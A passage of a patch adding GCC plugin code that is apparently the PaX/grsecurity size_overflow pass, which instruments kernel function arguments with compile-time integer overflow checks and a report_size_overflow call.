++static void insert_cond_result(basic_block bb_true, const_gimple stmt, const_tree arg, bool min)
++{
++	gimple func_stmt;
++	const_gimple def_stmt;
++	const_tree loc_line;
++	tree loc_file, ssa_name, current_func;
++	expanded_location xloc;
++	char ssa_name_buf[256];
++	gimple_stmt_iterator gsi = gsi_start_bb(bb_true);
++
++	def_stmt = get_def_stmt(arg);
++	xloc = expand_location(gimple_location(def_stmt));
++
++	if (!gimple_has_location(def_stmt)) {
++		xloc = expand_location(gimple_location(stmt));
++		if (!gimple_has_location(stmt))
++			xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl));
++	}
++
++	loc_line = build_int_cstu(unsigned_type_node, xloc.line);
++
++	loc_file = build_string(strlen(xloc.file) + 1, xloc.file);
++	loc_file = create_string_param(loc_file);
++
++	current_func = build_string(NAME_LEN(current_function_decl) + 1, NAME(current_function_decl));
++	current_func = create_string_param(current_func);
++
++	snprintf(ssa_name_buf, 256, "%s_%u (%s)\n", NAME(SSA_NAME_VAR(arg)), SSA_NAME_VERSION(arg), min ? "min" : "max");
++	ssa_name = build_string(256, ssa_name_buf);
++	ssa_name = create_string_param(ssa_name);
++
++	// void report_size_overflow(const char *file, unsigned int line, const char *func, const char *ssa_name)
++	func_stmt = gimple_build_call(report_size_overflow_decl, 4, loc_file, loc_line, current_func, ssa_name);
++
++	gsi_insert_after(&gsi, func_stmt, GSI_CONTINUE_LINKING);
++}
++
++static void __unused print_the_code_insertions(const_gimple stmt)
++{
++	location_t loc = gimple_location(stmt);
++
++	inform(loc, "Integer size_overflow check applied here.");
++}
++
++static void insert_check_size_overflow(gimple stmt, enum tree_code cond_code, tree arg, tree type_value, bool before, bool min)
++{
++	basic_block cond_bb, join_bb, bb_true;
++	edge e;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++
++	cond_bb = gimple_bb(stmt);
++	if (before)
++		gsi_prev(&gsi);
++	if (gsi_end_p(gsi))
++		e = split_block_after_labels(cond_bb);
++	else
++		e = split_block(cond_bb, gsi_stmt(gsi));
++	cond_bb = e->src;
++	join_bb = e->dest;
++	e->flags = EDGE_FALSE_VALUE;
++	e->probability = REG_BR_PROB_BASE;
++
++	bb_true = create_empty_bb(cond_bb);
++	make_edge(cond_bb, bb_true, EDGE_TRUE_VALUE);
++	make_edge(cond_bb, join_bb, EDGE_FALSE_VALUE);
++	make_edge(bb_true, join_bb, EDGE_FALLTHRU);
++
++	if (dom_info_available_p(CDI_DOMINATORS)) {
++		set_immediate_dominator(CDI_DOMINATORS, bb_true, cond_bb);
++		set_immediate_dominator(CDI_DOMINATORS, join_bb, cond_bb);
++	}
++
++	if (current_loops != NULL) {
++		gcc_assert(cond_bb->loop_father == join_bb->loop_father);
++		add_bb_to_loop(bb_true, cond_bb->loop_father);
++	}
++
++	insert_cond(cond_bb, arg, cond_code, type_value);
++	insert_cond_result(bb_true, stmt, arg, min);
++
++//	print_the_code_insertions(stmt);
++}
++
++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before)
++{
++	const_tree rhs_type = TREE_TYPE(rhs);
++	tree cast_rhs_type, type_max_type, type_min_type, type_max, type_min;
++
++	gcc_assert(rhs_type != NULL_TREE);
++	if (TREE_CODE(rhs_type) == POINTER_TYPE)
++		return;
++
++	gcc_assert(TREE_CODE(rhs_type) == INTEGER_TYPE || TREE_CODE(rhs_type) == BOOLEAN_TYPE || TREE_CODE(rhs_type) == ENUMERAL_TYPE);
++
++	type_max = cast_a_tree(size_overflow_type, TYPE_MAX_VALUE(rhs_type));
++	type_min = cast_a_tree(size_overflow_type, TYPE_MIN_VALUE(rhs_type));
++
++	gcc_assert(!TREE_OVERFLOW(type_max));
++
++	cast_rhs_type = TREE_TYPE(cast_rhs);
++	type_max_type = TREE_TYPE(type_max);
++	type_min_type = TREE_TYPE(type_min);
++	gcc_assert(useless_type_conversion_p(cast_rhs_type, type_max_type));
++	gcc_assert(useless_type_conversion_p(type_max_type, type_min_type));
++
++	insert_check_size_overflow(stmt, GT_EXPR, cast_rhs, type_max, before, false);
++	insert_check_size_overflow(stmt, LT_EXPR, cast_rhs, type_min, before, true);
++}
++
++static tree get_size_overflow_type_for_intentional_overflow(gimple def_stmt, tree change_rhs)
++{
++	gimple change_rhs_def_stmt;
++	tree lhs = gimple_get_lhs(def_stmt);
++	tree lhs_type = TREE_TYPE(lhs);
++	tree rhs1_type = TREE_TYPE(gimple_assign_rhs1(def_stmt));
++	tree rhs2_type = TREE_TYPE(gimple_assign_rhs2(def_stmt));
++
++	if (change_rhs == NULL_TREE)
++		return get_size_overflow_type(def_stmt, lhs);
++
++	change_rhs_def_stmt = get_def_stmt(change_rhs);
++
++	if (TREE_CODE_CLASS(gimple_assign_rhs_code(def_stmt)) == tcc_comparison)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (gimple_assign_rhs_code(def_stmt) == LSHIFT_EXPR)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (gimple_assign_rhs_code(def_stmt) == RSHIFT_EXPR)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (!useless_type_conversion_p(lhs_type, rhs1_type) || !useless_type_conversion_p(rhs1_type, rhs2_type)) {
++		debug_gimple_stmt(def_stmt);
++		gcc_unreachable();
++	}
++
++	return get_size_overflow_type(def_stmt, lhs);
++}
++
++static bool is_a_constant_overflow(const_gimple stmt, const_tree rhs)
++{
++	if (gimple_assign_rhs_code(stmt) == MIN_EXPR)
++		return false;
++	if (!is_gimple_constant(rhs))
++		return false;
++	return true;
++}
++
++static tree get_cast_def_stmt_rhs(const_tree new_rhs)
++{
++	gimple def_stmt;
++
++	def_stmt = get_def_stmt(new_rhs);
++	// get_size_overflow_type
++	if (LONG_TYPE_SIZE != GET_MODE_BITSIZE(SImode))
++		gcc_assert(gimple_assign_cast_p(def_stmt));
++	return gimple_assign_rhs1(def_stmt);
++}
++
++static tree cast_to_int_TI_type_and_check(gimple stmt, tree new_rhs)
++{
++	gimple_stmt_iterator gsi;
++	const_gimple cast_stmt;
++	gimple def_stmt;
++	enum machine_mode mode = TYPE_MODE(TREE_TYPE(new_rhs));
++
++	if (mode != TImode && mode != DImode) {
++		def_stmt = get_def_stmt(new_rhs);
++		gcc_assert(gimple_assign_cast_p(def_stmt));
++		new_rhs = gimple_assign_rhs1(def_stmt);
++		mode = TYPE_MODE(TREE_TYPE(new_rhs));
++	}
++
++	gcc_assert(mode == TImode || mode == DImode);
++
++	if (mode == TYPE_MODE(intTI_type_node) && useless_type_conversion_p(TREE_TYPE(new_rhs), intTI_type_node))
++		return new_rhs;
++
++	gsi = gsi_for_stmt(stmt);
++	cast_stmt = build_cast_stmt(intTI_type_node, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++	new_rhs = gimple_get_lhs(cast_stmt);
++
++	if (mode == DImode)
++		return new_rhs;
++
++	check_size_overflow(stmt, intTI_type_node, new_rhs, new_rhs, BEFORE_STMT);
++
++	return new_rhs;
++}
++
++static bool is_an_integer_trunction(const_gimple stmt)
++{
++	gimple rhs1_def_stmt, rhs2_def_stmt;
++	const_tree rhs1_def_stmt_rhs1, rhs2_def_stmt_rhs1;
++	enum machine_mode rhs1_def_stmt_rhs1_mode, rhs2_def_stmt_rhs1_mode;
++	const_tree rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs2 = gimple_assign_rhs2(stmt);
++	enum machine_mode rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1));
++	enum machine_mode rhs2_mode = TYPE_MODE(TREE_TYPE(rhs2));
++
++	if (is_gimple_constant(rhs1) || is_gimple_constant(rhs2))
++		return false;
++
++	gcc_assert(TREE_CODE(rhs1) == SSA_NAME && TREE_CODE(rhs2) == SSA_NAME);
++
++	if (gimple_assign_rhs_code(stmt) != MINUS_EXPR || rhs1_mode != SImode || rhs2_mode != SImode)
++		return false;
++
++	rhs1_def_stmt = get_def_stmt(rhs1);
++	rhs2_def_stmt = get_def_stmt(rhs2);
++	if (!gimple_assign_cast_p(rhs1_def_stmt) || !gimple_assign_cast_p(rhs2_def_stmt))
++		return false;
++
++	rhs1_def_stmt_rhs1 = gimple_assign_rhs1(rhs1_def_stmt);
++	rhs2_def_stmt_rhs1 = gimple_assign_rhs1(rhs2_def_stmt);
++	rhs1_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1_def_stmt_rhs1));
++	rhs2_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs2_def_stmt_rhs1));
++	if (rhs1_def_stmt_rhs1_mode != DImode || rhs2_def_stmt_rhs1_mode != DImode)
++		return false;
++
++	gimple_set_plf(rhs1_def_stmt, NO_CAST_CHECK, true);
++	gimple_set_plf(rhs2_def_stmt, NO_CAST_CHECK, true);
++	return true;
++}
++
++static tree handle_integer_truncation(struct pointer_set_t *visited, const_tree lhs)
++{
++	tree new_rhs1, new_rhs2;
++	tree new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1, new_lhs;
++	tree new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type;
++	gimple assign, stmt = get_def_stmt(lhs);
++	tree rhs1 = gimple_assign_rhs1(stmt);
++	tree rhs2 = gimple_assign_rhs2(stmt);
++
++	if (!is_an_integer_trunction(stmt))
++		return NULL_TREE;
++
++	new_rhs1 = expand(visited, rhs1);
++	new_rhs2 = expand(visited, rhs2);
++
++	new_rhs1_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs1);
++	new_rhs2_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs2);
++
++	new_rhs1_def_stmt_rhs1_type = TREE_TYPE(new_rhs1_def_stmt_rhs1);
++	new_rhs2_def_stmt_rhs1_type = TREE_TYPE(new_rhs2_def_stmt_rhs1);
++
++	if (!useless_type_conversion_p(new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type)) {
++		new_rhs1_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs1_def_stmt_rhs1);
++		new_rhs2_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs2_def_stmt_rhs1);
++	}
++
++	assign = create_binary_assign(MINUS_EXPR, stmt, new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1);
++	new_lhs = gimple_get_lhs(assign);
++	check_size_overflow(assign, TREE_TYPE(new_lhs), new_lhs, rhs1, AFTER_STMT);
++
++	return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, new_rhs2, NULL_TREE);
++}
++
++static bool is_a_neg_overflow(const_gimple stmt, const_tree rhs)
++{
++	const_gimple def_stmt;
++
++	if (TREE_CODE(rhs) != SSA_NAME)
++		return false;
++
++	if (gimple_assign_rhs_code(stmt) != PLUS_EXPR)
++		return false;
++
++	def_stmt = get_def_stmt(rhs);
++	if (gimple_code(def_stmt) != GIMPLE_ASSIGN || gimple_assign_rhs_code(def_stmt) != BIT_NOT_EXPR)
++		return false;
++
++	return true;
++}
++
++static tree handle_intentional_overflow(struct pointer_set_t *visited, bool check_overflow, gimple stmt, tree change_rhs, tree new_rhs1, tree new_rhs2)
++{
++	tree new_rhs, size_overflow_type, orig_rhs;
++	void (*gimple_assign_set_rhs)(gimple, tree);
++	tree rhs1 = gimple_assign_rhs1(stmt);
++	tree rhs2 = gimple_assign_rhs2(stmt);
++	tree lhs = gimple_get_lhs(stmt);
++
++	if (change_rhs == NULL_TREE)
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	if (new_rhs2 == NULL_TREE) {
++		size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs1);
++		new_rhs2 = cast_a_tree(size_overflow_type, rhs2);
++		orig_rhs = rhs1;
++		gimple_assign_set_rhs = &gimple_assign_set_rhs1;
++	} else {
++		size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs2);
++		new_rhs1 = cast_a_tree(size_overflow_type, rhs1);
++		orig_rhs = rhs2;
++		gimple_assign_set_rhs = &gimple_assign_set_rhs2;
++	}
++
++	change_rhs = cast_to_new_size_overflow_type(stmt, change_rhs, size_overflow_type, BEFORE_STMT);
++
++	if (check_overflow)
++		check_size_overflow(stmt, size_overflow_type, change_rhs, orig_rhs, BEFORE_STMT);
++
++	new_rhs = change_assign_rhs(stmt, orig_rhs, change_rhs);
++	gimple_assign_set_rhs(stmt, new_rhs);
++	update_stmt(stmt);
++
++	return create_assign(visited, stmt, lhs, AFTER_STMT);
++}
++
++static tree handle_binary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	tree rhs1, rhs2, new_lhs;
++	gimple def_stmt = get_def_stmt(lhs);
++	tree new_rhs1 = NULL_TREE;
++	tree new_rhs2 = NULL_TREE;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++
++	/* no DImode/TImode division in the 32/64 bit kernel */
++	switch (gimple_assign_rhs_code(def_stmt)) {
++	case RDIV_EXPR:
++	case TRUNC_DIV_EXPR:
++	case CEIL_DIV_EXPR:
++	case FLOOR_DIV_EXPR:
++	case ROUND_DIV_EXPR:
++	case TRUNC_MOD_EXPR:
++	case CEIL_MOD_EXPR:
++	case FLOOR_MOD_EXPR:
++	case ROUND_MOD_EXPR:
++	case EXACT_DIV_EXPR:
++	case POINTER_PLUS_EXPR:
++	case BIT_AND_EXPR:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++	default:
++		break;
++	}
++
++	new_lhs = handle_integer_truncation(visited, lhs);
++	if (new_lhs != NULL_TREE)
++		return new_lhs;
++
++	if (TREE_CODE(rhs1) == SSA_NAME)
++		new_rhs1 = expand(visited, rhs1);
++	if (TREE_CODE(rhs2) == SSA_NAME)
++		new_rhs2 = expand(visited, rhs2);
++
++	if (is_a_neg_overflow(def_stmt, rhs2))
++		return handle_intentional_overflow(visited, true, def_stmt, new_rhs1, new_rhs1, NULL_TREE);
++	if (is_a_neg_overflow(def_stmt, rhs1))
++		return handle_intentional_overflow(visited, true, def_stmt, new_rhs2, NULL_TREE, new_rhs2);
++
++	if (is_a_constant_overflow(def_stmt, rhs2))
++		return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs1), def_stmt, new_rhs1, new_rhs1, NULL_TREE);
++	if (is_a_constant_overflow(def_stmt, rhs1))
++		return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs2), def_stmt, new_rhs2, NULL_TREE, new_rhs2);
++
++	return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, NULL_TREE);
++}
++
++#if BUILDING_GCC_VERSION >= 4007
++static tree get_new_rhs(struct pointer_set_t *visited, tree size_overflow_type, tree rhs)
++{
++	if (is_gimple_constant(rhs))
++		return cast_a_tree(size_overflow_type, rhs);
++	if (TREE_CODE(rhs) != SSA_NAME)
++		return NULL_TREE;
++	return expand(visited, rhs);
++}
++
++static tree handle_ternary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	tree rhs1, rhs2, rhs3, new_rhs1, new_rhs2, new_rhs3, size_overflow_type;
++	gimple def_stmt = get_def_stmt(lhs);
++
++	size_overflow_type = get_size_overflow_type(def_stmt, lhs);
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++	rhs3 = gimple_assign_rhs3(def_stmt);
++	new_rhs1 = get_new_rhs(visited, size_overflow_type, rhs1);
++	new_rhs2 = get_new_rhs(visited, size_overflow_type, rhs2);
++	new_rhs3 = get_new_rhs(visited, size_overflow_type, rhs3);
++
++	return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, new_rhs3);
++}
++#endif
++
++static tree get_size_overflow_type(gimple stmt, const_tree node)
++{
++	const_tree type;
++
++	gcc_assert(node != NULL_TREE);
++
++	type = TREE_TYPE(node);
++
++	if (gimple_plf(stmt, MY_STMT))
++		return TREE_TYPE(node);
++
++	switch (TYPE_MODE(type)) {
++	case QImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intHI_type_node : intHI_type_node;
++	case HImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intSI_type_node : intSI_type_node;
++	case SImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node;
++	case DImode:
++		if (LONG_TYPE_SIZE == GET_MODE_BITSIZE(SImode))
++			return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node;
++		return (TYPE_UNSIGNED(type)) ? unsigned_intTI_type_node : intTI_type_node;
++	default:
++		debug_tree((tree)node);
++		error("%s: unsupported gcc configuration.", __func__);
++		gcc_unreachable();
++	}
++}
++
++static tree expand_visited(gimple def_stmt)
++{
++	const_gimple next_stmt;
++	gimple_stmt_iterator gsi = gsi_for_stmt(def_stmt);
++
++	gsi_next(&gsi);
++	next_stmt = gsi_stmt(gsi);
++
++	gcc_assert(gimple_plf((gimple)next_stmt, MY_STMT));
++
++	switch (gimple_code(next_stmt)) {
++	case GIMPLE_ASSIGN:
++		return gimple_get_lhs(next_stmt);
++	case GIMPLE_PHI:
++		return gimple_phi_result(next_stmt);
++	case GIMPLE_CALL:
++		return gimple_call_lhs(next_stmt);
++	default:
++		return NULL_TREE;
++	}
++}
++
++static tree expand(struct pointer_set_t *visited, tree lhs)
++{
++	gimple def_stmt;
++	enum tree_code code = TREE_CODE(TREE_TYPE(lhs));
++
++	if (is_gimple_constant(lhs))
++		return NULL_TREE;
++
++	if (TREE_CODE(lhs) == ADDR_EXPR)
++		return NULL_TREE;
++
++	if (code == REAL_TYPE)
++		return NULL_TREE;
++
++	gcc_assert(code == INTEGER_TYPE || code == POINTER_TYPE || code == BOOLEAN_TYPE || code == ENUMERAL_TYPE);
++
++
++	def_stmt = get_def_stmt(lhs);
++
++	if (!def_stmt)
++		return NULL_TREE;
++
++	if (gimple_plf(def_stmt, MY_STMT))
++		return lhs;
++
++	if (pointer_set_contains(visited, def_stmt))
++		return expand_visited(def_stmt);
++
++	switch (gimple_code(def_stmt)) {
++	case GIMPLE_NOP:
++		return NULL_TREE;
++	case GIMPLE_PHI:
++		return build_new_phi(visited, lhs);
++	case GIMPLE_CALL:
++	case GIMPLE_ASM:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++	case GIMPLE_ASSIGN:
++		switch (gimple_num_ops(def_stmt)) {
++		case 2:
++			return handle_unary_ops(visited, lhs);
++		case 3:
++			return handle_binary_ops(visited, lhs);
++#if BUILDING_GCC_VERSION >= 4007
++		case 4:
++			return handle_ternary_ops(visited, lhs);
++#endif
++		}
++	default:
++		debug_gimple_stmt(def_stmt);
++		error("%s: unknown gimple code", __func__);
++		gcc_unreachable();
++	}
++}
++
++static void change_function_arg(gimple stmt, const_tree origarg, unsigned int argnum, tree newarg)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree origtype = TREE_TYPE(origarg);
++
++	gcc_assert(gimple_code(stmt) == GIMPLE_CALL);
++
++	assign = build_cast_stmt(origtype, newarg, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++
++	gimple_call_set_arg(stmt, argnum, gimple_get_lhs(assign));
++	update_stmt(stmt);
++}
++
++static bool get_function_arg(unsigned int* argnum, const_tree fndecl)
++{
++	const char *origid;
++	tree arg;
++	const_tree origarg;
++
++	if (!DECL_ABSTRACT_ORIGIN(fndecl))
++		return true;
++
++	origarg = DECL_ARGUMENTS(DECL_ABSTRACT_ORIGIN(fndecl));
++	while (origarg && *argnum) {
++		(*argnum)--;
++		origarg = TREE_CHAIN(origarg);
++	}
++
++	gcc_assert(*argnum == 0);
++
++	gcc_assert(origarg != NULL_TREE);
++	origid = NAME(origarg);
++	*argnum = 0;
++	for (arg = DECL_ARGUMENTS(fndecl); arg; arg = TREE_CHAIN(arg)) {
++		if (!strcmp(origid, NAME(arg)))
++			return true;
++		(*argnum)++;
++	}
++	return false;
++}
++
++static bool skip_types(const_tree var)
++{
++	switch (TREE_CODE(var)) {
++		case ADDR_EXPR:
++#if BUILDING_GCC_VERSION >= 4006
++		case MEM_REF:
++#endif
++		case ARRAY_REF:
++		case BIT_FIELD_REF:
++		case INDIRECT_REF:
++		case TARGET_MEM_REF:
++		case VAR_DECL:
++			return true;
++		default:
++			break;
++	}
++	return false;
++}
++
++static bool walk_phi(struct pointer_set_t *visited, const_tree result)
++{
++	gimple phi = get_def_stmt(result);
++	unsigned int i, n = gimple_phi_num_args(phi);
++
++	if (!phi)
++		return false;
++
++	pointer_set_insert(visited, phi);
++	for (i = 0; i < n; i++) {
++		const_tree arg = gimple_phi_arg_def(phi, i);
++		if (pre_expand(visited, arg))
++			return true;
++	}
++	return false;
++}
++
++static bool walk_unary_ops(struct pointer_set_t *visited, const_tree lhs)
++{
++	gimple def_stmt = get_def_stmt(lhs);
++	const_tree rhs;
++
++	if (!def_stmt)
++		return false;
++
++	rhs = gimple_assign_rhs1(def_stmt);
++	if (pre_expand(visited, rhs))
++		return true;
++	return false;
++}
++
++static bool walk_binary_ops(struct pointer_set_t *visited, const_tree lhs)
++{
++	bool rhs1_found, rhs2_found;
++	gimple def_stmt = get_def_stmt(lhs);
++	const_tree rhs1, rhs2;
++
++	if (!def_stmt)
++		return false;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++	rhs1_found = pre_expand(visited, rhs1);
++	rhs2_found = pre_expand(visited, rhs2);
++
++	return rhs1_found || rhs2_found;
++}
++
++static const_tree search_field_decl(const_tree comp_ref)
++{
++	const_tree field = NULL_TREE;
++	unsigned int i, len = TREE_OPERAND_LENGTH(comp_ref);
++
++	for (i = 0; i < len; i++) {
++		field = TREE_OPERAND(comp_ref, i);
++		if (TREE_CODE(field) == FIELD_DECL)
++			break;
++	}
++	gcc_assert(TREE_CODE(field) == FIELD_DECL);
++	return field;
++}
++
++static enum marked mark_status(const_tree fndecl, unsigned int argnum)
++{
++	const_tree attr, p;
++
++	attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(fndecl));
++	if (!attr || !TREE_VALUE(attr))
++		return MARKED_NO;
++
++	p = TREE_VALUE(attr);
++	if (!TREE_INT_CST_LOW(TREE_VALUE(p)))
++		return MARKED_NOT_INTENTIONAL;
++
++	do {
++		if (argnum == TREE_INT_CST_LOW(TREE_VALUE(p)))
++			return MARKED_YES;
++		p = TREE_CHAIN(p);
++	} while (p);
++
++	return MARKED_NO;
++}
++
++static void print_missing_msg(tree func, unsigned int argnum)
++{
++	unsigned int new_hash;
++	size_t len;
++	unsigned char tree_codes[CODES_LIMIT];
++	location_t loc = DECL_SOURCE_LOCATION(func);
++	const char *curfunc = get_asm_name(func);
++
++	len = get_function_decl(func, tree_codes);
++	new_hash = get_hash_num(curfunc, (const char *) tree_codes, len, 0);
++	inform(loc, "Function %s is missing from the size_overflow hash table +%s+%u+%u+", curfunc, curfunc, argnum, new_hash);
++}
++
++static unsigned int search_missing_attribute(const_tree arg)
++{
++	const_tree type = TREE_TYPE(arg);
++	tree func = get_original_function_decl(current_function_decl);
++	unsigned int argnum;
++	const struct size_overflow_hash *hash;
++
++	gcc_assert(TREE_CODE(arg) != COMPONENT_REF);
++
++	if (TREE_CODE(type) == POINTER_TYPE)
++		return 0;
++
++	argnum = find_arg_number(arg, func);
++	if (argnum == 0)
++		return 0;
++
++	if (lookup_attribute("size_overflow", DECL_ATTRIBUTES(func)))
++		return argnum;
++
++	hash = get_function_hash(func);
++	if (!hash || !(hash->param & (1U << argnum))) {
++		print_missing_msg(func, argnum);
++		return 0;
++	}
++	return argnum;
++}
++
++static bool is_already_marked(const_tree lhs)
++{
++	unsigned int argnum;
++	const_tree fndecl;
++
++	argnum = search_missing_attribute(lhs);
++	fndecl = get_original_function_decl(current_function_decl);
++	if (argnum && mark_status(fndecl, argnum) == MARKED_YES)
++		return true;
++	return false;
++}
++
++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs)
++{
++	const_gimple def_stmt;
++
++	if (is_gimple_constant(lhs))
++		return false;
++
++	if (skip_types(lhs))
++		return false;
++
++	if (TREE_CODE(lhs) == PARM_DECL)
++		return is_already_marked(lhs);
++
++	if (TREE_CODE(lhs) == COMPONENT_REF) {
++		const_tree field, attr;
++
++		field = search_field_decl(lhs);
++		attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(field));
++		if (!attr || !TREE_VALUE(attr))
++			return false;
++		return true;
++	}
++
++	def_stmt = get_def_stmt(lhs);
++
++	if (!def_stmt)
++		return false;
++
++	if (pointer_set_contains(visited, def_stmt))
++		return false;
++
++	switch (gimple_code(def_stmt)) {
++	case GIMPLE_NOP:
++		if (TREE_CODE(SSA_NAME_VAR(lhs)) == PARM_DECL)
++			return is_already_marked(lhs);
++		return false;
++	case GIMPLE_PHI:
++		return walk_phi(visited, lhs);
++	case GIMPLE_CALL:
++	case GIMPLE_ASM:
++		return false;
++	case GIMPLE_ASSIGN:
++		switch (gimple_num_ops(def_stmt)) {
++		case 2:
++			return walk_unary_ops(visited, lhs);
++		case 3:
++			return walk_binary_ops(visited, lhs);
++		}
++	default:
++		debug_gimple_stmt((gimple)def_stmt);
++		error("%s: unknown gimple code", __func__);
++		gcc_unreachable();
++	}
++}
++
++static bool search_attributes(tree fndecl, const_tree arg, unsigned int argnum)
++{
++	struct pointer_set_t *visited;
++	bool is_found;
++	enum marked is_marked;
++	location_t loc;
++
++	visited = pointer_set_create();
++	is_found = pre_expand(visited, arg);
++	pointer_set_destroy(visited);
++
++	is_marked = mark_status(fndecl, argnum + 1);
++	if ((is_found && is_marked == MARKED_YES) || is_marked == MARKED_NOT_INTENTIONAL)
++		return true;
++
++	if (is_found) {
++		loc = DECL_SOURCE_LOCATION(fndecl);
++		inform(loc, "The intentional_overflow attribute is missing from +%s+%u+", get_asm_name(fndecl), argnum + 1);
++		return true;
++	}
++	return false;
++}
++
++static void handle_function_arg(gimple stmt, tree fndecl, unsigned int argnum)
++{
++	struct pointer_set_t *visited;
++	tree arg, newarg;
++	bool match;
++
++	match = get_function_arg(&argnum, fndecl);
++	if (!match)
++		return;
++	gcc_assert(gimple_call_num_args(stmt) > argnum);
++	arg = gimple_call_arg(stmt, argnum);
++	if (arg == NULL_TREE)
++		return;
++
++	if (is_gimple_constant(arg))
++		return;
++
++	if (search_attributes(fndecl, arg, argnum))
++		return;
++
++	if (TREE_CODE(arg) != SSA_NAME)
++		return;
++
++	check_arg_type(arg);
++
++	visited = pointer_set_create();
++	newarg = expand(visited, arg);
++	pointer_set_destroy(visited);
++
++	if (newarg == NULL_TREE)
++		return;
++
++	change_function_arg(stmt, arg, argnum, newarg);
++
++	check_size_overflow(stmt, TREE_TYPE(newarg), newarg, arg, BEFORE_STMT);
++}
++
++static void handle_function_by_attribute(gimple stmt, const_tree attr, tree fndecl)
++{
++	tree p = TREE_VALUE(attr);
++	do {
++		handle_function_arg(stmt, fndecl, TREE_INT_CST_LOW(TREE_VALUE(p))-1);
++		p = TREE_CHAIN(p);
++	} while (p);
++}
++
++static void handle_function_by_hash(gimple stmt, tree fndecl)
++{
++	tree orig_fndecl;
++	unsigned int num;
++	const struct size_overflow_hash *hash;
++
++	orig_fndecl = get_original_function_decl(fndecl);
++	if (C_DECL_IMPLICIT(orig_fndecl))
++		return;
++	hash = get_function_hash(orig_fndecl);
++	if (!hash)
++		return;
++
++	for (num = 1; num <= MAX_PARAM; num++)
++		if (hash->param & (1U << num))
++			handle_function_arg(stmt, fndecl, num - 1);
++}
++
++static void set_plf_false(void)
++{
++	basic_block bb;
++
++	FOR_ALL_BB(bb) {
++		gimple_stmt_iterator si;
++
++		for (si = gsi_start_bb(bb); !gsi_end_p(si); gsi_next(&si))
++			gimple_set_plf(gsi_stmt(si), MY_STMT, false);
++		for (si = gsi_start_phis(bb); !gsi_end_p(si); gsi_next(&si))
++			gimple_set_plf(gsi_stmt(si), MY_STMT, false);
++	}
++}
++
++static unsigned int handle_function(void)
++{
++	basic_block next, bb = ENTRY_BLOCK_PTR->next_bb;
++
++	set_plf_false();
++
++	do {
++		gimple_stmt_iterator gsi;
++		next = bb->next_bb;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			tree fndecl, attr;
++			gimple stmt = gsi_stmt(gsi);
++
++			if (!(is_gimple_call(stmt)))
++				continue;
++			fndecl = gimple_call_fndecl(stmt);
++			if (fndecl == NULL_TREE)
++				continue;
++			if (gimple_call_num_args(stmt) == 0)
++				continue;
++			attr = lookup_attribute("size_overflow", DECL_ATTRIBUTES(fndecl));
++			if (!attr || !TREE_VALUE(attr))
++				handle_function_by_hash(stmt, fndecl);
++			else
++				handle_function_by_attribute(stmt, attr, fndecl);
++			gsi = gsi_for_stmt(stmt);
++			next = gimple_bb(stmt)->next_bb;
++		}
++		bb = next;
++	} while (bb);
++	return 0;
++}
++
++static struct gimple_opt_pass size_overflow_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "size_overflow",
++		.gate			= NULL,
++		.execute		= handle_function,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_cfg | PROP_referenced_vars,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi | TODO_cleanup_cfg | TODO_ggc_collect | TODO_verify_flow
++	}
++};
++
++static void start_unit_callback(void __unused *gcc_data, void __unused *user_data)
++{
++	tree fntype;
++
